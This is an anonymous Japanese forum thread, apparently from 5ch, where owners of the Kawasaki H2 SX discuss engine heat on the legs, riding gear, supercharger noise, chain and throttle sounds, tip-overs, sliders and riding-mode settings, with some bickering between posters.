何だかんだ見た目とパワーの両立でこのバイクを選んだ パニアが標準ってならツアラーだろうが
このバイクはメガスポーツだよ
高速道路で中間加速を楽なポジションで楽しむバイク >>737
こういうジャンルを自分の思い込みで変えちゃうニワカさんって、なかなか居なくならないよねw
フルカウルは全部SSとか言い出したり 立ちゴケして転がってるH2SXを見たらマグロが転がってるみたいに感じた。
胴体太くてテールが細いからかな? H2カッケーけど実際のバイクの使い道はツーリングユースだしなぁみたいな層を狙ったのがH2SXでしょ
SCを使いこなせるかどうかは別問題
カワサキもええとこ突いてるなあと思うけどね 先日、H2sxse購入した者です。
恥ずかしながら二輪免許を六月に取得したばかり故、知識や経験が全くありません。
先輩オーナー様方にお尋ねしたいのですが、大型の排熱とはどういった感じなのでしょうか。
今はCBR400rに乗っており、排熱も特別辛いと感じた事は御座いません。
パンツはメッシュズボンに内側のみレザーを使用した物を着用しております。
この様なパンツでは心許ないでしょうか。
又、排熱対策が可能なライダースパンツのお勧め等御座いましたら、教えて頂けると嬉しいです。
宜しくお願い致します。 エンジン熱量は半端ないです
それに伴う排熱も凄いです
特に右足首辺りに熱風が直撃します >>744
早速のご返信ありがとうございます。
想像を絶するのですね。
度重なる質問で大変恐縮なのですが、やはり革パンと呼ばれる物を着用しないと、防ぐのは難しいでしょうか?
考えが大変甘いかと思いますが、ジーパンやある程度のライダースパンツに、インナーパンツを履き
対策をしようかなと考えておりました。 舐めててくるぶしまでのブーツにショートカットの靴下で
高速のってたらガチで火傷するんじゃないかって熱さで、
慌てて降りてコンビニで長い靴下買った程度には熱い。 >>746
ご返信ありがとうございます。
わざわざ高速を降りて靴下を買う程の熱さですか...
このバイクと向き合っていくのが少し不安になりました。
内股も熱をだいぶ感じますか? >>746
逆に言えば、靴下一枚の遮蔽でだいぶ変わる程度なので、パンツよりも長めのブーツがあれば良いかなと思います。
足首の熱以外は普通に耐えられるレベルなのであまり気にしなくても。 >>745
煽っておいてあれですが
自分はくるぶし隠れる程度のブーツと
ふくらはぎ下まで靴下に普通のジーパンで
火傷はした事ないです
ただ熱いですw
あと燃料減ってくるとタンクも
かなり熱くなってきますので注意 この時期ツーリング途中で満タンにしたときとタンクの涼感は束の間の癒し
またすぐあったかくなるけど >>745
パンツはそれでいいと思う。ぴっちりしたものだと生地と肌に隙間ないから直に熱風当たりスネからくるぶし辺りまで糞熱い。 >>748
ご返信ありがとうございます。
ID変わりますが747です。
大変貴重な意見ありがとうございます。
早速ライコーに行って買ってきました。 >>751
ご返信ありがとうございます。
そうなのですね。それがリッターバイクというものですか...
大変貴重な体験談、ありがとうございます。
先輩オーナー様方、真摯に丁寧に教えて下さり本当にありがとうございます。
お蔭様でH2SXSEを準備万端で迎えられそうです。 クシタニのエクスプローラおすすめ
排熱耐えれる、タンクとシートのグリップも良し
1番近いクシタニショップ行ってエクスプローラくれバイクはH2って言えば後は店員がやってくれるよ
難点は値段が約60000円する >>755
クシタニですか、何度か耳にした事があります。
未だパンツは本格的な代物を持っていないので、江東店に出向いてみます。
お勧め情報ありがとうございます。 いうてそんなに熱いか?
ただのジーパンでも大して熱くないぞ
R1はセンターアップマフラーで腿のあたりにパイプあるからマジで火傷したけど パンチングメッシュの革ジャケット
パンチングメッシュのブーツアウト革パン
パンチングメッシュのショートブーツ
インナーはパンティまでクールメッシュで靴下はジオライン lw
これで低音火傷はないが渋滞で動かない時は熱い 週末に大阪と東京を往復したけど、大して暑さは感じなかったけどな。
普通のジーパンとブーツね。都内じゃH2は楽しくなかった。信号多すぎ。 >>756
エクスプローラは股下短いから裾延ばししないとバイクに跨がったら足首出るぞ 動いている限りはやけどするほどの熱はないなあ
渋滞にはまったら別だが そういえば気温37℃のとき海沿いを30分くらい走ってたら、スネ辺りが火傷一歩手前くらいの熱さになったわ
真夏の直射日光がプラスされるとさすがに耐えられんかった 短パンサンダルで洗車してそのまま乗ったら火傷するかと思ったわ。 熱くないって言ってる奴らはあまり回してないんだろうな
SC効かせるとすげえ熱いんだが いや奥多摩でぶん回しても耐えられないほど熱くはないんだが
熱いのレベルに相違があるんじゃないか そいやそんなに回さないなあ
アルパインスターズのアンデスにモンベルのストライダーパンツを外出し これさぁ、スタンド立ててタイヤを後ろに回したらガラガラ音がでねぇ? SC利かせまくると股間が熱くなるのは確か。これまでに経験したことのないタイプの熱さ。でも死ぬほどかと言われたらそこまででもないし、何より走行風が凄いから全体としては熱いとか気にならない。むしろSC回ってんだなってくらい。
車と一緒に走って信号待ちで一緒に仲良く並んでるなら無駄に熱いんだろうね。したことないけど。 >>768
それもしかしてチェーン張り過ぎてない?
てか、このバイク調子良く廻してるとチェーン引き回ってチェーン張り気味になってこない?
アクスルのクランプは規定トルクでマニュアル通りの締め方してるんだけど >>770
いや緩すぎて前側の金具に当たってるね。
でも逆に回したら時だけだから良いんだけど気になるといえば気になる ID変わってますが>>598です。
本日無事大型免許取得とSE+2020納車になりました。
ここで教えてもらったことを参考に乗って行こうと思います。
早速レインモードで走っておりますが大型のトルクはこんなにあるのかと驚いています。
それともH2SXだからなのか。
とにかく感動しました。
排熱についてもご質問なさっている方がいて、大変参考になりました。私も熱いと感じていたのですがヒートガード付きのパンツにしたところ午後からは快適に走れました。 このバイク俺は外れだわ。異常な振動
加速不良。
その他もろもろ。
せっかく買ったのになぁ。 誰か急に振動が増えておかしくなったって人いねーの?やっぱ俺だけか。 >>773
SCイカれとるんやないか?ショップで診てもらえ 別にアクセルの開け方しだいだからさ、レインモードなんてしないでフルパワーいっちゃってw
慣れだからw >>775
つってもインペラのチェックだけだよなぁ?してくれるの >>776
少しずつ試してみますw慣れられるように頑張りますw >>773
加速不良?なんて客観的にも分かるから初期不良で対応してもらえるでしょ
愚痴ってないではよ動け 普通、そうならさっさと販売店に持っていくだろ
お察しですよ 乗った瞬間に分かる不具合を店にも連絡せず掲示板書き込みヤツ >>772
おめでとう!でもここは収入や乗ってる車でマウントし合うのが主な話題のスレなのでもう来ない方が良いよw >>782
現実をしらねぇやつだな。
>>783
>>784
かならずこう言う奴出てくると思ったわ。 そりゃ当たり前の事をやってなきゃ、当たり前のツッコミは入るわな 個人的には、GL1800とか乗ってるやつの方がすごいと思うけどな。(● ̄(エ) ̄●)
。。 ダイアグもでない。ログとってメーカーに確認。
排ガス規制の絡みで19年以降ecuの変更、o2センサーの補正の範囲変更されてて冷えてる時やスロットルoffからの再加速ではそういうこともあるけどそれは仕様ですの回答で終わり。
インペラなんざ自分でチェックもできるし、
インペラは0.5mm以上ガタないと交換にもならんし。
振動なんざ基本明らかに原因がわからない場合は一つずつ直して行くだけで原因がそれだとわかれば保証だろうけどな。
吸気圧センサー、カムポジションセンサー、チェーンスプロ交換
ステム、フロントリアベアリング交換、プラグ交換直らず。
エラーがでないとfi辺りは何もしてもらえないからな。
まぁ、仕方ねぇか。煽りぎみにかいて悪かったな
http://imgur.com/FisRXb4.jpg
http://imgur.com/uGSmtZu.jpg
http://imgur.com/ESa3fWL.jpg >785
ありがとうございます。
その辺は飛ばして見ております。
とても為になることが書いてあり大変参考になりましたのでまたちょくちょく見させて頂きますw 具体的な不具合の状況は>790しか判らんからスレ住人に咬みついてもシャーナイしな
しかしまあ明確に再現性のある不具合なら店の人間に実際に確認させればいいし、
不具合発生時の内容状況を整備士がきちんと把握できてたら対応のし様もあると思うが… 自分の説明不足を棚に上げてミスリード誘う書き方して
後出しジャンケンで愚痴言われてもね >>794
説明不足ってなに?w誰になんの説明すんの? >>795
可哀想なくらい頭悪い子
親が低収入だったのかな?可哀想に ちょっと誰か試して見て欲しいんだけど、
キーオンの時に電子スロットのとこからジーって音はするのはいつものことなんだけど、それ以外に
ガリガリジリジリって音がする?
右側なんだけど。
後はスロットルを回すと鳴る?
こんな音!
https://youtu.be/gItOgVtsQsc
優しい人いたら試して!
回りに乗ってる奴いなくて、自分のだけかわかんね。。。 >>800
試したけどしないよ。
スロットル回してもカチッとしかいわない。
18年37000kmの車両 >>801
37000kmでトラブル等はどうですか? >>804
クラッチの切れ、歪み位だね。
面白半分にロンチコントロール使うのは負担掛かるから止めておいた方がいいぞ。 >>803
間違いなくこんな異音出てないから早めに販売店で見てもらった方がいいよ。 >>806
やっぱそうですよねぇ。
ちなみにスロットルを開けるとこんな感じです。
https://youtu.be/NC3Qd08clH0 うわーこういうの出てくるとスーチャーやべえなぁって思うわ 電スロの音だからなぁ。
壊れてるのかもまだわからんね。
とりあえずDに確認かな? >>807
新車の時からその音なってるよ、問題なし
スロットルのモーターか何かの音だろ
アクセル開度のバー3つ目くらいからさらに音が変わるぞ 昨日1年点検出してきた、走行距離は約4000km
インペラの遊びが0.07→0.10に成長してたけど大丈夫だそうだ
ただH2はブローバイが多いみたいでエアクリーナーがオイルまみれで要交換だった
3000円ぐらいで安いけどコスト気にする人は洗浄できるやつに変えた方がいいかも そういえば、ブローバイがタンクみたいなのに全然たまらなくなったな。
新車〜8000kmぐらいまではすぐたまってたのに ハンドルロック2?に入れっぱなしになってたせいでバッテリー上がった俺が通りますよ。
5日間それになってたっぽくモニターすらつかない状態に。 やばいというのは前車でも本バイク購入時にも言われてたのは覚えてるんだけど、あくまで「当該モードで灯火をオンにしたままだと一瞬であがる」という認識だった。
灯火全オフでも通電して消費してるって認識が無かったわ… >>818
あの機能いる?
しかもそこから一気にイグニッションまでキー回すと
まれに液晶モニター点かない現象起きるし >>821
いらねぇよな。
例えば暗いところで
ハザード焚かないといけないときとか、ポジションつけたいときは、パッシング長押しとか何かボタンを長押しとしたら出来るようにしてほしいわ。
ハンドル回してからじゃないと出来ないとかも意味ないわ ちょっと知りたいんだけど自分のSCの音って聞こえる?メットの風切音のせいか正直あまり聞こえた事がないんだけど。。
それなりに回してるけど、8000〜1万も回せばキュルキュルとか、プシューとかもうちょっというもんかと思ってた。
台風で倒れない事を祈ろう。どっかに避難させるかな、、、 >>823
自分以外には聞こえてるよ。
あと、マフラー替えて直管にしたら、音がデカくなった気がします >>823
6000回転超えてれば聞こえる
8,9000以上なら確実
停止した状態の空ぶかしだと聞こえずらい
走行中の方がはるかに聞こえる チェーンのボルトの締め付けトルクとかタイヤとかのトルク知りたいって人いる? >>826
6000回したら速度どれくらいになんの? そうかー。年寄りには聞こえにくいんかな。Youtubeみたいにピュルピュル言わしたいんだけど。頑張って耳を澄ますか 音がするのはスロットル緩めたりして回転が落ちる時だよん
8000くらい回してスロットル離すだよ 皆に聞きたいんだがH2SXのハンドルって左右非対称?
左の方がタンクとの間隔が狭いんだが
こけそうになって踏ん張ったことはあるけど、コケたことはない
左 https://i.imgur.com/wsZLIIK.jpg
右 https://i.imgur.com/uJ5z1MT.jpg >>837
バー回して変わるようなら曲がってるって分かるか
ありがとう試してみる >>836
左 http://imgur.com/URyP5ES.jpg
右 http://imgur.com/KfA1b1l.jpg
センタースタンド立てた状態でハンドル回した状態。
ただ、もう少し奥までいくけど、戻ってくるからその戻ったところの写真。
油仕事してるからての汚れは文句言わんでくれ。 まぁダイヤの溝や状態や計り方で
誤差はあるからあんたとは長さ違うけど右の方が隙間は大きいぞ。
一応ボルトの締め付けトルク教えておく。
http://imgur.com/L8UWzAK.jpg >>840
ありがとう助かるよ
やっぱり左は狭いっぽいね >>842
こういうの気になりだしたら気になって仕方かないからね。
一応sとかLってあるけど気にしなくていいから。
厳密には上、下、上、下、上での順だけどw >>841
やっぱそうだよね
転けそうになって踏ん張っただけで曲がるとかありえないと思ってさ アホか
出荷時は左右で隙間は同じだろ
なんで差をつける意味があるんだよ >>841
そのカワサキオンラインテクノインフォってなに? センタースタンドを立ててさ、タイヤを回すとカラカラ音がしない?
チェーンガイドに当たって 最近このバイクを買ったものです!
このバイクって発進の時にガラガラって音がしながら動き出すのは普通なんですか?
後チェーンと言うか足回りの方からも振動が発進の時にあるんですけど、、、、 次年度(’22)モデル以降の国内導入予定はないという。
最後の231ps、受注開始!「ニンジャH2カーボン」カワサキの過給モンスターが’21モデルで生産終了へ
すまんな。10台買って寝かすわw 海外のオークション出すわw マジだからw >>851
新品に変えたよー。
ちょうどいい張りにしたらなって張りすぎると鳴らない。
何でだ?
こんな音
https://youtu.be/2EySJUYw9UA >>853
補足。これ駆動方向とは反対に回した時だけなるのよね。
進行方向ではならないし、走行してても音が出る訳じゃないから気にしてなかったんだけど。昔の動画を見たら音なんてなってなかったからさ。
みんなのはどうなんだろうと。 しばらく前にも同じこときいてなかったか?
そんなに気になって購入店やプラザで訊いてみても得心いかないなら同じ車種横に並べて聞き比べてみりゃいいんじゃねぇの??
「H2SX異音?確認オフ」でも企画すれば??? 初川崎か?
異音とか振動とか気にしてたら川崎なんて乗れないだろw 普段まわってる逆に回したら異音がするって、プラザの人も大変だね、こんな人ら相手にしてたら >>850
後ろから見てチェーンライン真っ直ぐになってる?
ホイール(スプロケ)の左右方向の位置調整は確認してる?
https://i.imgur.com/5ilu4o0.jpg >>866
zh2が既にユーロ5準拠だけど、、、? >>866
・EURO5適用以降もモデル存続なら当然、最低限でも規制対応のための変更は入る
→モデル廃止するならMCは無い、モデル廃止しないなら最低でも規制対応のためのMCはある
・新規制に準拠した環境性能を付与した同系パワーユニット採用車が市販されている
→上記新規制準拠車の仕様に準じる変更を(H2SXに最適化しながら)加えることでH2SXも新規制対応は技術的には可能
結論。KHIのヤル気次第。 人生初Uターンゴケしちゃった、坂道でやるもんじゃないな
そしてカワサキ純正フレームスライダーの無意味さよ
真っ先に吹っ飛んで行ってカウルに傷をつけまくってた まぁ構造的に守るんじゃなくて先に壊れて軽減させるだけだからね
スライダー後端に力が加われば容易に曲がる フロントが重いから低速だとすげえ切れ込むんだよな
まじで垂直に保たないと一気に切れ込む >>863
アジャスタブルフックレンチって特殊工具なの?
車載工具じゃないんだ 付けてないけど、実際スライダーってどうなんや?
本来、コース上にマシンを残さなかったようにとか、キズは防いでもフレームやられるとか
ネガイメージあるが純正でもラインナップし始めたしTRICK STARのがかっこいいから迷うのよね パニア付けてると立ちゴケ程度なら純正スライダーさんいい仕事するけどな >>879
disってるの基地外だから気にしちゃダメ >>879
純正はフレームにダメージ行く前にもげるよう上手く出来てる
代わりにカウルはある程度諦める >>879
こけてもフレームやられる前にスライダーが死ぬようになってるから大丈夫。
すべるから公道でスライドしたら被害は大きくなる可能性高い。
あと立ちごけの傷はつくけど、サイド下のほうの目立たないとこにつくくらいに軽減される。
無いよりマシだと思う。
値段ほどの価値があるかはわからん。 >>883
下り方向に倒れたけど軽く起こせたよ
パニア付けるとこのグラブバーあるから無いバイクより楽だと思うぞ バイク歴長いけど先ず立ちゴケなんてした事無い
身長高いと先ずしないぞ そりゃ最初から踏ん張り効くからな
低身長だと倒れる初期に踏ん張りが効かない >>887
誰でもコケるまではコケた事無いし、
事故るまでは事故った事無いし、
死ぬまでは死んだ事は無い 立ちごけかー
どんな速度でも極端には止まっていても半クラッチ。常に動力を後輪に伝える。という事を教わってから転かす気がしないな。 >>891
それは珍しいな。
ステップなんて乗ったまま出すことなんてないしよ >>890
相当意味わかんねぇわ
端から見たら頭おかしい奴だな
常に半クラとか こんな奴もいるんだな。常に半クラとか
メーカーも想像してないだろうし
こんな奴のお下がり買う奴も悲惨だなw >>893
あー常に半クラッチね。
まぁ時速10km以下くらいの微速前進ね。クラッチ切っちゃダメよ。という事だよ
後輪に動力を伝える意味がわかってないんだね。 極端には止まっていても…って、話盛るからやん
いっつもそうやって周りから呆れられてるだろ?
やめとけよ 俺も半クラッチって事を教わった時はクラッチ壊れるやんと思ったけど
マスターしていくと低速域のコントロールに自信が出てくるよ >>897
白バイのおっさんとか半クラで唸らして止まってるやん
俺はできないけど それスタンディングとかやる時だろ?
だからさぁ…
それをいつもやってるみたいに話盛る必要無いやん… >>896
いや、立ちごけだから停車中だろ?
何それ?10キロ以下って?
そんなの渋滞中やとか、そんな低速ならそもそも必然と半クラになるわな。
逆に教えて貰うまでどうしてたの
意味不明だわ 止まっていても半クラって思いっきり言っておきながら
さすがに意味わかんない言い訳は草も生えない
ただ単にイラつくわこの馬鹿に >>900
えっ
話を盛るって言われても教わった内容なので 教わる前はね歩道段差みたいなところUターンでこけまくりw
まぁ確実に止まってたらコケないね
でも意識の違いにちょっとびっくり。退場するわ ID:gZtGv6MI
の言いたいことマジでわかるわ。
何言ってんのか俺にも理解出来ないし、教わる前はマジでどうしてたのか気になるw >>896
10キロぐらいで信号にでも引っ掛かってとかちょっと前からNに入れたりとかさ自宅の手前で駆動切ってるとかわかるけど、
10キロ以下で走ってんのにクラッチ切るマジで意味がわからないw >>904
それ当たり前の事が出来てないだけじゃんw まだなんか言われとるw
>>890 の日本語がダメだったんだね
よくUターンなどでコケていたので上手な人に微低速時など停止の時でも半クラを使って常に後輪に動力を伝えるよう意識する。と教えていただきました。
それを実践と意識をしていたら転倒する事はなくなりました。
という恥を晒した経験談を言っちゃった。すいませんw
でいいですかw >>909
大体許してやるが
停止時の半クラは全く理解出来ない どっちかにケツずらしてしっかり片足つけてブレーキ握るか踏むじゃないの?停車じならに、立ちごけ防止なら
常に半クラ意識してこけそうになったら前に進むの?
おっとっと、ブーン?てw
前に車いたらどうすんの?
てか、すげぇな。 停車時に半クラ意識して半クラ気味にしてるの想像したらシュール過ぎて笑たわ こんな奴に免許与えた自動車学校は、公安に公認取り消させて良いと思う >>915
しつこくないよ。外野から見ててもおかしいのはあんただよ もう意味のない煽りが始まったね
外野wが出ると面倒くさいので
本当に失礼いたします。 半クラでドヤってたらエンストこいてあっさりタチごけしそう そういやこの前橋接続部がゴムで養生されてるところ右折時にリア滑ったけど無事だった。
スロットル一瞬戻してじわっと開けるってやれてよう耐えたな俺すげーって思ったけどトラコン効いてたんかなやっぱ。 久しぶりに盛り上がったのかと喜んだら馬鹿が1名降臨しただけだった悲しい >>923
ここ最近の中じゃかなりレベルの高い香ばしい奴だよな。
半クラと名付けよう >>892
いつも乗ったままステップだしてるけど、みんな違うのか?
こわくない? >>926
ステップは乗ったままは俺は
たちごけの危険があるからしない。
んなわけで、乗ったままステップは
どうやっても俺は出さないな。 半クラwだけどさ立ちごけって完全停止時のスタンド操作の誤りとかで起きる事なんかを言うわけなんだ?
ならば俺の半クラw話は目障りだね。失礼した。 ステップ出すだの出さないだの
サイドスタンドのことを言ってんのかこいつら 立ちゴケとUターンゴケは違うと言う事でファイナルアンサー?? >>928
だってそれ立ってないんじゃん
自分走りながら立つの? >>931
すまないです。
ちょっと何をお伝えくださっているのかわかならい。
ツッこまれているのか弄られているのかのポイントもわからないです。
あと929にご教授している、ステップ これはH2SXだとどれになりますか? >>930
Uターンゴケもエンストゴケも立ちゴケとは違うけど、話の時にはわざわざ別にせずに立ちゴケに含めるよね
そういうのが「分からない」「いちいち気になる」ってのはビョーキ >>934
ビョーキって半クラくんに言ってるの?
違ったらごめんね 賑やかな所悪いんだけど、エンジンが急にかかんなくなってさ。
バッテリーの電圧はあるけど、
キーオンにしても電気が来ないんだ!
ヒューズボック見てもキレてはないんだけど、
部品から検索すると、ヒューズボックは4つあるみたいだけど、後2ヶ所は何処かわかんねぇから教えてちょうだいっ 平穏を望むからこそ、異端には厳しく接するべきだと思う
隣人だからと気を使った挙げ句がアレだし くだらん。免許取り立てか?
後輪に駆動力当てるくらい無意識にすんだろ。止まってる時も、って表現はちょっと過剰かもしれないけど、言いたいことは分かる。多分多くの人がそう思っていると思うので、念のため。以上、この話終了な。 >>940
取扱説明書「ヒューズ交換」の章は見ましたか?
SE+ なら P.191〜 になります。 メインのヒューズが切れるってなかなかの大事なのに、何でだろうな?で終わり? ゆとりカスはこれだからな
高いバイク買ってもこれじゃあ持ち腐れだわ ここ気持ち悪いやつが多過ぎて笑えんな
因縁しかつけてこねー奴ばっかじゃん 奴ばっか ではなくて独りだと思うので
そっとしておいて下さい。 そういえば、今年モデルはいつ発表くるのかねー。他車種は色々発表でてるけど、H2SXは中々こないねー。2019〜2020年モデル発表は早かったのにね。 レーダークルーズが付くと言われてるね。
H2シリーズはこだわりのメーター付いてるけど
視認性考えたらSSみたいな液晶にしてほしいなぁ。
パワーアップもしてほしい。 レーダークルーズはまだ先ではないかな?去年あたりに個人的バイクまとめのサイトで二年か三年後って話だったような。 クルマと違ってバイクは停止したら倒れる乗り物だからな
前方追従式のブレーキ制御はなかなか難しい
技術面では余裕で実現可能だけど事故発生時の責任問題がメーカー的にネックになってる SE+に乗られてる方に質問なのですが、ライダーモードはどのように設定してますか?
参考にさせていただきたいので教えてほしいです。街乗りがメインでたまに高速乗るぐらいなのですが同じような方がいらっしゃいましたら教えて頂けると嬉しいです。
もしくはおすすめのセッティングがあれば是非教えてほしいです。 こういう>>962みたいなのってホント気持ち悪い
何もかも他人に依存しなきゃ生きて行けないんだろうな
生きてて楽しいのかねこういう人 ライダーモードが使いこなせない人の為に3種のモードがあるんだぞ
せっかく用意してくれてるんだから使えよ 雨でもないのにフルパワーモードにしない人は、これ最初から買う意味ないでしょw 雨ロー、街峠ミドル、高速サーキットフルでいいじゃん フルパワーじゃないとかったるくてのってらんねえべ! >>962
慣らし運転中はずっとレインモードだったなぁ。それからはロードにしてるね。スポーツはサーキットの時位じゃない?ロードのトラコン介入で、コーナーに違和感あるなら、スポーツでもよいかと。
あとはタンデムで北海道行ったときは、マニュアルモードで、サス柔らかめ設定にしてゆっくり走ってたね。
利用場所、環境で変えてるかな自分は。 >>973
あんまし飛ばさないならそれでいいんだろうね。
峠ばかり走ってたまにツーリングの自分は常にライダーモード+トラコンオフ >>973
>>962の者です。
ご丁寧にありがとうございます。
まだ購入して1ヶ月程でして、どういった設定に皆さんがされているのか気になってお聞きしました。
気分を害された方もいたようですが、ご容赦願います。
今はまだ慣らしの段階でして600キロを超えたところなのでちょくちょく6000まで回しているところです。
カワサキプラザの方からトラコンは最大にしてレインモードで走ると良いと言われていたのですが、少し慣れてきたので最近はロードモードで下道を走り、スポーツモードで高速走行をしておりました。
超初心者ですが、サーキットも走りにいってみたいので今色々と準備をしているところです。
タンデムもするので、長距離ツーリングの際にサスを柔らかくされていたなどの意見参考になりました。
ありがとうございました。
サーキットを走る際も参考にさせて頂きたいと思います。 >>975
これからは他人に必要以上に頼ることなく主体性を持って生きて行けな頑張れよ >>975
お前はサーキット走らんといてくれや
迷惑や >>975
何せ、6000回転回して、風圧ほとんどないので、気がつけば一瞬で三桁行くようなバイクなので、本当にお気をつけて乗ってくださいな。サーキット以外は己の自制心を保つのが大事です。スーチャのキュルキュル音は癖になってきますけどね。 >>983
文面見ただけでお前が下手糞の盆栽ライダーだとことがよくわかる >>984
ちげぇねぇやwこういう奴いるよな
一瞬で三桁とかwww 膝擦り小僧はまだ居るのですか?
今週土曜日にオートポリスに行くんだがもし被ってればご教授願いたい。
当方最大バンク角やっと50前後のライダーです。 イキリが買うバイクってことがここ数レスの流れでもあらためて確認できますね >>987
と、買えもしない貧乏人が吠えております ツーリング先でまれによく会う同車種の人、それなりに落ち着いてる感じの方が多いんだけど、ここはホントに酷いよねw まあまあ皆さん、買えなくて悔しいんだろうから、ほっといてあげなよ、、、かわいそうになってきたわ。 >>986
先導車つきの走行会で走らないの?
同じ種類のバイクで走らないとつらいじゃん。
SSには どう走ってもついて行くのが精一杯、
よほど乗り手がヘタでないと抜けないし。 >>992
ついて行くとか抜くとかw
てゆか、先導車付きとかw >>992
膝擦り小僧ですけど、そんな事無いですよ。
どれだけタイムが出せるかなのでホント乗りて次第ではありますけどね。
sxもブレーキ煮詰めればそれないのタイム出せますよ。
あと走行会は走らないです。どんな素人が来てるか判らないからもっぱらスポーツ走行ですね。 >>995
乗り手次第じゃなくてさ、
君が最新SSとH2SX走らせたらどっちがタイム出ると思ってんのよ?
そんなこともわからないの? ツアラーだろしょせん
サーキットでタイムうんぬんの話とかイキリすぎw このスレってH2SXのスレだよね?
H2のスレじゃないよね???
見に行かないから知らんけど、Z1000SX(ninja1000)のスレでもZX-10Rに対抗できるなんて勘違いのイキッた書き込みあんの? こういう勘違いした>>995みたいなイキり坊主がウザいスレだからねココは このスレッドは1000を超えました。
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